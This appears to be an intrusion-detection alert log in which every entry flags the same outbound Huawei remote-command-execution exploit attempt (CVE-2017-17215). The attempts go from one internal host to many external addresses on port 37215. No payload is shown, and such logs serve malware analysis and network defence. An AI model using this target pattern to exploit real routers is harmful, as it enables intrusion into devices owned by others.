2024-07-26T17:43:10.556330+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50206	37215	192.168.2.15	157.232.155.118
2024-07-26T17:42:03.752053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44986	37215	192.168.2.15	197.190.102.105
2024-07-26T17:42:24.312496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52526	37215	192.168.2.15	197.214.37.126
2024-07-26T17:42:03.752096+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49806	37215	192.168.2.15	197.106.7.159
2024-07-26T17:42:22.936645+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39470	37215	192.168.2.15	157.94.112.33
2024-07-26T17:42:22.956258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57736	37215	192.168.2.15	157.10.215.35
2024-07-26T17:42:32.907393+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42568	37215	192.168.2.15	41.134.183.139
2024-07-26T17:43:24.648575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53336	37215	192.168.2.15	41.150.27.214
2024-07-26T17:42:30.889178+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32956	37215	192.168.2.15	157.195.53.49
2024-07-26T17:42:54.209938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34768	37215	192.168.2.15	197.236.80.139
2024-07-26T17:43:26.448365+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55762	37215	192.168.2.15	157.85.199.246
2024-07-26T17:42:24.287647+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43692	37215	192.168.2.15	41.164.74.42
2024-07-26T17:42:38.401724+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41278	37215	192.168.2.15	41.198.44.15
2024-07-26T17:42:03.751839+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52856	37215	192.168.2.15	197.52.17.31
2024-07-26T17:42:42.040798+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50406	37215	192.168.2.15	197.13.86.225
2024-07-26T17:43:12.180616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45224	37215	192.168.2.15	145.129.134.173
2024-07-26T17:42:03.663396+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57910	37215	192.168.2.15	197.6.116.163
2024-07-26T17:42:23.590390+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57654	37215	192.168.2.15	41.73.141.211
2024-07-26T17:42:24.211094+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37602	37215	192.168.2.15	219.209.44.35
2024-07-26T17:42:24.304444+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47546	37215	192.168.2.15	123.29.130.155
2024-07-26T17:42:31.050536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36822	37215	192.168.2.15	87.217.154.96
2024-07-26T17:42:23.661945+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39180	37215	192.168.2.15	41.58.129.177
2024-07-26T17:42:03.751964+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48036	37215	192.168.2.15	197.73.62.49
2024-07-26T17:42:40.395421+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44160	37215	192.168.2.15	157.52.30.157
2024-07-26T17:43:24.816955+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38450	37215	192.168.2.15	41.124.217.212
2024-07-26T17:42:44.373737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.15	157.140.239.75
2024-07-26T17:42:22.851190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40700	37215	192.168.2.15	157.53.239.53
2024-07-26T17:43:22.215537+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43744	37215	192.168.2.15	9.66.190.137
2024-07-26T17:42:56.991979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44208	37215	192.168.2.15	157.118.168.225
2024-07-26T17:43:13.057413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38872	37215	192.168.2.15	197.80.244.131
2024-07-26T17:42:22.882933+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36858	37215	192.168.2.15	197.112.4.97
2024-07-26T17:42:16.209355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39666	37215	192.168.2.15	197.252.248.3
2024-07-26T17:43:24.642559+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35940	37215	192.168.2.15	41.38.164.85
2024-07-26T17:43:10.561145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47718	37215	192.168.2.15	157.33.117.57
2024-07-26T17:43:12.001552+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60520	37215	192.168.2.15	41.138.69.95
2024-07-26T17:42:32.905348+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54782	37215	192.168.2.15	197.102.119.57
2024-07-26T17:42:56.395387+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55560	37215	192.168.2.15	41.48.31.6
2024-07-26T17:42:27.005403+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59908	37215	192.168.2.15	197.122.214.135
2024-07-26T17:43:19.293876+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41900	37215	192.168.2.15	41.85.30.83
2024-07-26T17:42:30.951955+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39040	37215	192.168.2.15	140.99.164.85
2024-07-26T17:42:37.657532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60716	37215	192.168.2.15	197.132.202.43
2024-07-26T17:43:32.382470+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41102	37215	192.168.2.15	41.235.52.121
2024-07-26T17:42:23.591416+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49782	37215	192.168.2.15	197.134.35.140
2024-07-26T17:42:56.281347+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58458	37215	192.168.2.15	157.73.37.14
2024-07-26T17:43:29.552890+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53724	37215	192.168.2.15	118.145.42.61
2024-07-26T17:42:24.516527+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47736	37215	192.168.2.15	42.24.106.31
2024-07-26T17:42:05.211005+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52296	37215	192.168.2.15	102.33.27.18
2024-07-26T17:43:32.267705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56216	37215	192.168.2.15	125.231.27.41
2024-07-26T17:42:03.751880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60248	37215	192.168.2.15	41.6.19.134
2024-07-26T17:42:38.409008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42608	37215	192.168.2.15	41.109.120.79
2024-07-26T17:43:10.506247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40706	37215	192.168.2.15	171.192.88.224
2024-07-26T17:43:10.727525+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54080	37215	192.168.2.15	157.60.77.72
2024-07-26T17:43:10.502538+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48660	37215	192.168.2.15	157.54.55.248
2024-07-26T17:42:58.930333+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35804	37215	192.168.2.15	41.161.220.253
2024-07-26T17:42:38.337623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41322	37215	192.168.2.15	41.34.240.11
2024-07-26T17:42:04.832568+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50558	37215	192.168.2.15	118.47.10.71
2024-07-26T17:43:10.506248+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42254	37215	192.168.2.15	197.10.62.126
2024-07-26T17:42:03.751794+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37764	37215	192.168.2.15	157.54.31.69
2024-07-26T17:42:22.856698+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49866	37215	192.168.2.15	157.227.157.81
2024-07-26T17:42:23.275589+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55948	37215	192.168.2.15	18.189.172.188
2024-07-26T17:42:31.222334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58318	37215	192.168.2.15	157.131.40.89
2024-07-26T17:42:38.337666+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50398	37215	192.168.2.15	41.146.84.206
2024-07-26T17:42:03.751922+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58838	37215	192.168.2.15	157.201.127.15
2024-07-26T17:42:03.752050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60962	37215	192.168.2.15	75.5.125.48
2024-07-26T17:42:23.591415+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34104	37215	192.168.2.15	78.13.212.84
2024-07-26T17:42:22.947099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56730	37215	192.168.2.15	197.142.153.220
2024-07-26T17:43:00.391481+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40156	37215	192.168.2.15	197.54.253.40
2024-07-26T17:42:35.410258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50978	37215	192.168.2.15	197.94.139.173
2024-07-26T17:42:38.337641+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52288	37215	192.168.2.15	197.230.120.15
2024-07-26T17:42:24.512531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35034	37215	192.168.2.15	157.171.58.37
2024-07-26T17:42:24.256267+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52368	37215	192.168.2.15	197.159.70.12
2024-07-26T17:42:56.381522+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38064	37215	192.168.2.15	128.137.178.219
2024-07-26T17:43:10.506254+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40118	37215	192.168.2.15	118.140.180.3
2024-07-26T17:42:24.296458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46866	37215	192.168.2.15	197.76.158.173
2024-07-26T17:42:24.303363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53444	37215	192.168.2.15	41.198.181.13
2024-07-26T17:42:22.891527+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50244	37215	192.168.2.15	102.56.88.186
2024-07-26T17:42:38.391089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45300	37215	192.168.2.15	157.42.157.0
2024-07-26T17:42:24.303875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51932	37215	192.168.2.15	41.182.11.167
2024-07-26T17:42:24.318056+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53650	37215	192.168.2.15	157.252.22.173
2024-07-26T17:43:02.491089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43686	37215	192.168.2.15	157.82.194.171
2024-07-26T17:42:24.257547+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52340	37215	192.168.2.15	157.243.171.88
2024-07-26T17:42:24.513939+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59084	37215	192.168.2.15	199.177.172.209
2024-07-26T17:42:27.583241+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49200	37215	192.168.2.15	59.160.183.73
2024-07-26T17:42:03.752014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40780	37215	192.168.2.15	197.59.253.143
2024-07-26T17:42:03.751843+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41728	37215	192.168.2.15	157.153.17.190
2024-07-26T17:42:24.192951+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55460	37215	192.168.2.15	218.12.181.11
2024-07-26T17:42:56.988799+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52414	37215	192.168.2.15	197.134.136.232
2024-07-26T17:43:34.316571+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55038	37215	192.168.2.15	197.64.158.166
2024-07-26T17:42:03.751973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45652	37215	192.168.2.15	41.20.246.32
2024-07-26T17:43:16.004578+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37442	37215	192.168.2.15	41.105.252.254
2024-07-26T17:42:24.256695+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50370	37215	192.168.2.15	157.88.236.173
2024-07-26T17:42:24.259809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59310	37215	192.168.2.15	41.215.45.122
2024-07-26T17:43:21.679013+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48454	37215	192.168.2.15	197.87.133.51
2024-07-26T17:42:24.311829+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45520	37215	192.168.2.15	105.35.239.234
2024-07-26T17:42:44.072216+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58160	37215	192.168.2.15	197.4.22.128
2024-07-26T17:42:23.530735+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58528	37215	192.168.2.15	41.210.186.186
2024-07-26T17:42:24.287779+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37074	37215	192.168.2.15	41.30.204.137
2024-07-26T17:42:24.259211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43478	37215	192.168.2.15	41.232.234.59
2024-07-26T17:42:24.299869+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41692	37215	192.168.2.15	184.47.229.66
2024-07-26T17:42:38.401665+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38990	37215	192.168.2.15	157.60.135.138
2024-07-26T17:42:03.751887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48678	37215	192.168.2.15	197.69.139.155
2024-07-26T17:42:22.851126+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39876	37215	192.168.2.15	207.108.14.112
2024-07-26T17:42:23.046713+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54552	37215	192.168.2.15	197.25.156.81
2024-07-26T17:42:23.007527+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50678	37215	192.168.2.15	41.171.88.140
2024-07-26T17:43:04.640084+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49410	37215	192.168.2.15	41.226.233.126
2024-07-26T17:42:22.828889+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37370	37215	192.168.2.15	197.194.216.242
2024-07-26T17:42:56.990975+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54800	37215	192.168.2.15	41.49.58.218
2024-07-26T17:43:19.035369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41962	37215	192.168.2.15	197.147.36.165
2024-07-26T17:42:58.930256+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49584	37215	192.168.2.15	197.158.150.189
2024-07-26T17:42:44.348201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33408	37215	192.168.2.15	41.169.244.81
2024-07-26T17:42:56.987902+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50588	37215	192.168.2.15	197.242.236.156
2024-07-26T17:43:12.160666+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53462	37215	192.168.2.15	41.128.213.200
2024-07-26T17:42:25.520316+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54980	37215	192.168.2.15	135.237.87.230
2024-07-26T17:42:35.406708+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34638	37215	192.168.2.15	172.2.13.150
2024-07-26T17:43:13.694805+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36066	37215	192.168.2.15	197.77.2.32
2024-07-26T17:42:58.929100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49906	37215	192.168.2.15	41.53.242.4
2024-07-26T17:43:34.311191+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44926	37215	192.168.2.15	157.138.100.123
2024-07-26T17:42:23.508456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60380	37215	192.168.2.15	193.228.232.39
2024-07-26T17:42:22.851130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44406	37215	192.168.2.15	184.188.4.253
2024-07-26T17:42:24.286966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39034	37215	192.168.2.15	197.114.78.215
2024-07-26T17:42:38.606651+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37128	37215	192.168.2.15	41.137.45.148
2024-07-26T17:42:30.726272+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57802	37215	192.168.2.15	157.6.187.65
2024-07-26T17:42:32.905236+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35840	37215	192.168.2.15	197.89.6.50
2024-07-26T17:42:16.209350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33104	37215	192.168.2.15	197.31.7.45
2024-07-26T17:42:24.287736+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57460	37215	192.168.2.15	197.146.215.77
2024-07-26T17:43:06.625710+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36502	37215	192.168.2.15	197.166.113.173
2024-07-26T17:42:35.406707+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40260	37215	192.168.2.15	41.150.94.44
2024-07-26T17:43:10.771511+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33164	37215	192.168.2.15	41.127.212.229
2024-07-26T17:42:03.663392+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51354	37215	192.168.2.15	197.136.189.68
2024-07-26T17:42:03.751885+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53072	37215	192.168.2.15	41.53.250.101
2024-07-26T17:42:24.287352+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39762	37215	192.168.2.15	41.130.148.85
2024-07-26T17:42:27.004002+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38236	37215	192.168.2.15	41.235.246.165
2024-07-26T17:42:24.353399+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59282	37215	192.168.2.15	41.71.87.126
2024-07-26T17:43:00.392373+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38874	37215	192.168.2.15	144.144.39.60
2024-07-26T17:42:22.858867+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47718	37215	192.168.2.15	197.167.160.236
2024-07-26T17:42:22.798191+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37716	37215	192.168.2.15	41.234.183.150
2024-07-26T17:42:22.922438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36994	37215	192.168.2.15	158.129.148.234
2024-07-26T17:42:52.052499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36772	37215	192.168.2.15	18.27.33.45
2024-07-26T17:42:22.858100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39172	37215	192.168.2.15	197.78.44.191
2024-07-26T17:42:32.907412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47250	37215	192.168.2.15	197.26.185.161
2024-07-26T17:43:32.175203+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33206	37215	192.168.2.15	41.145.32.11
2024-07-26T17:42:35.406751+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59944	37215	192.168.2.15	197.133.241.254
2024-07-26T17:43:22.550049+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54840	37215	192.168.2.15	157.180.77.247
2024-07-26T17:42:03.751977+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45778	37215	192.168.2.15	41.63.190.142
2024-07-26T17:42:50.536410+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36128	37215	192.168.2.15	157.10.36.188
2024-07-26T17:43:02.584597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55288	37215	192.168.2.15	197.47.214.70
2024-07-26T17:42:31.064318+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60596	37215	192.168.2.15	119.223.103.215
2024-07-26T17:42:27.581437+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38862	37215	192.168.2.15	197.119.167.201
2024-07-26T17:42:22.865564+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38984	37215	192.168.2.15	157.253.160.68
2024-07-26T17:42:24.309511+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41528	37215	192.168.2.15	25.248.138.241
2024-07-26T17:43:29.351920+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55028	37215	192.168.2.15	41.52.6.237
2024-07-26T17:42:22.885379+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59772	37215	192.168.2.15	41.190.82.104
2024-07-26T17:43:10.506259+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52260	37215	192.168.2.15	41.136.119.222
2024-07-26T17:42:38.337635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54332	37215	192.168.2.15	197.9.38.254
2024-07-26T17:43:24.598163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46684	37215	192.168.2.15	157.73.89.158
2024-07-26T17:42:22.849085+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51590	37215	192.168.2.15	157.0.130.246
2024-07-26T17:42:58.930089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40760	37215	192.168.2.15	157.119.147.21
2024-07-26T17:42:23.618346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56226	37215	192.168.2.15	41.83.232.96
2024-07-26T17:42:23.176504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56208	37215	192.168.2.15	197.189.110.169
2024-07-26T17:42:54.179402+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60754	37215	192.168.2.15	197.33.183.180
2024-07-26T17:42:24.256785+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56580	37215	192.168.2.15	157.14.17.185
2024-07-26T17:42:30.999253+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52426	37215	192.168.2.15	193.229.45.18
2024-07-26T17:43:26.651856+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49092	37215	192.168.2.15	157.148.79.5
2024-07-26T17:42:30.820452+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60024	37215	192.168.2.15	157.180.161.239
2024-07-26T17:42:35.406699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59840	37215	192.168.2.15	197.194.194.144
2024-07-26T17:43:12.000641+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42830	37215	192.168.2.15	41.83.255.215
